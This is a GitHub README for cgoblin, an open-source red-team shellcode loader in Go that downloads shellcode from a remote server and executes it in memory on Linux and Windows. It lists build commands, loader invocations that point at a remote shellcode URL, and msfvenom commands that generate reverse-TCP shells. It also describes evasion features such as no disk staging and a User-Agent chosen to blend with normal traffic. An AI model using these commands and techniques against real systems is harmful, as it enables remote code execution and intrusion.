cgoblin is a lightweight, cross-platform shellcode loader written in Go, capable of fetching and executing shellcode from a remote URL on both Linux and Windows systems. It leverages inline C via CGO to allocate executable memory and run position-independent machine code.
π For educational and red teaming purposes only.
- URL: https://github.com/grisuno/cgoblin.git
- Author: grisuno
- Team: LazyOwn RedTeam
- β Cross-platform support (Linux & Windows)
- β Remote shellcode loading via HTTP(S)
- β
Shellcode parsing from
\xNNhex format - β
Memory allocation with execution permissions:
- Uses
mmap()on Linux - Uses
VirtualAlloc()on Windows
- Uses
- β Minimal footprint and no disk staging (in memory only)
- β Custom User-Agent and secure HTTP client settings
CGOblin requires a multi-language development environment supporting both Go and Python, with CGO compilation capabilities for system-level memory operations.
Component Version Purpose
- Go 1.24.2+ Core application runtime and compilation
- Python 3.x Launcher script and development utilities [OPTIONAL]
- CGO Enabled System call interface for memory operations
- GCC/Clang Latest C compiler for CGO compilation
# Linux
GOOS=linux go build -o loader_linux main.go loader_linux.go# Windows
GOOS=windows GOARCH=amd64 CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc go build -o loader_windows.exe
π‘ Ensure CGO is enabled: CGO_ENABLED=1 (default when supported).
# Linux
# Example
./loader_linux -url http://your-server.com/shellcode.txt
# Windows
# Example
powershell .\loader_windows.exe -url http://your-server.com/shellcode.txt
# shellcode
# Example
unsigned char buf[] = "\x6a\x29\x58\x99\x...";# shellcode
# Example Linux
msfvenom -p linux/x64/shell_reverse_tcp LHOST={lhost} LPORT={lport} -f c -o shellcode_test.txt # shellcode
# Example Windows
msfvenom -p windows/x64/shell_reverse_tcp LHOST={lhost} LPORT={lport} -f c -o shellcode_test.txt# Tree
# Example
.
βββ go.mod # Go module definition
βββ main.go # Entry point with CLI flag parsing
βββ loader_linux.go # Linux-specific execution logic (CGO + mmap)
βββ loader_windows.go # Windows-specific execution logic (CGO + VirtualAlloc)
βββ shellcode_linux.txt # Example Linux shellcode (bind/reverse shell)
βββ shellcode_win.txt # Example Windows shellcode (e.g., Calc or Cmd)
π Example shellcode files are provided for testing (non-malicious use recommended).
-
To test without risk:
-
Host a simple shellcode (e.g., execve("/bin/sh") on Linux or WinExec("calc.exe") on Windows).
-
Use local HTTP server:
# Webserver
# Example
python3 -m http.server 8000- Memory-only operations: No temporary files are created during shellcode processing
- Custom HTTP headers: Configurable User-Agent strings to blend with legitimate traffic
- Input validation: Shellcode size limits and format verification
- Platform isolation: Platform-specific code paths prevent cross-contamination
- CGO safety: Proper memory management in C interface layers
Purpose and Scope This document covers how CGOblin integrates with external exploitation frameworks and automation systems. The integration system allows external tools to automatically configure, build, and execute the shellcode loader with dynamically generated payloads. This capability enables CGOblin to function as a component within larger penetration testing suites and automated exploitation frameworks.
For information about the core shellcode loading functionality, see Core Shellcode Loader System. For details about the build system that supports framework integration, see Build System.
The external framework integration system uses a YAML-based configuration approach that defines how external tools can interact with CGOblin. The integration supports parameter-driven payload generation and automated execution workflows.
This tool is intended for:
- Security research
- Red team operations
- Authorized penetration testing
- Do not use for unauthorized access or malicious purposes. The author and team assume no liability for misuse.
Users of cgoblin must ensure compliance with:
- Local Computer Crime Laws: Unauthorized access laws vary by jurisdiction
- Professional Ethics: Penetration testing codes of conduct
- Contractual Obligations: Scope limitations in security assessments
- Data Protection Regulations: Privacy laws when handling target systems
A dedicated red team focused on offensive security, exploit development, and defensive evasion techniques.
"We break it to make it better β ethically."
This project is open-source for educational use. See LICENSE for details (GPLv3).
- [+] gomulti_loader the little brother of CGOblin: https://github.com/grisuno/gomulti_loader
- [+] Shorts: https://www.youtube.com/shorts/kPZvVV_RNIE
- [+] Deepwiki: https://deepwiki.com/grisuno/cgoblin
- [+] Github: https://github.com/grisuno/LazyOwn
- [+] Web: https://grisuno.github.io/LazyOwn/
- [+] Reddit: https://www.reddit.com/r/LazyOwn/
- [+] Facebook: https://web.facebook.com/profile.php?id=61560596232150
- [+] HackTheBox: https://app.hackthebox.com/teams/overview/6429
- [+] Grisun0: https://app.hackthebox.com/users/1998024
- [+] Patreon: https://patreon.com/LazyOwn
- [β] Download: https://github.com/grisuno/LazyOwn/archive/refs/tags/release/0.2.47.tar.gz

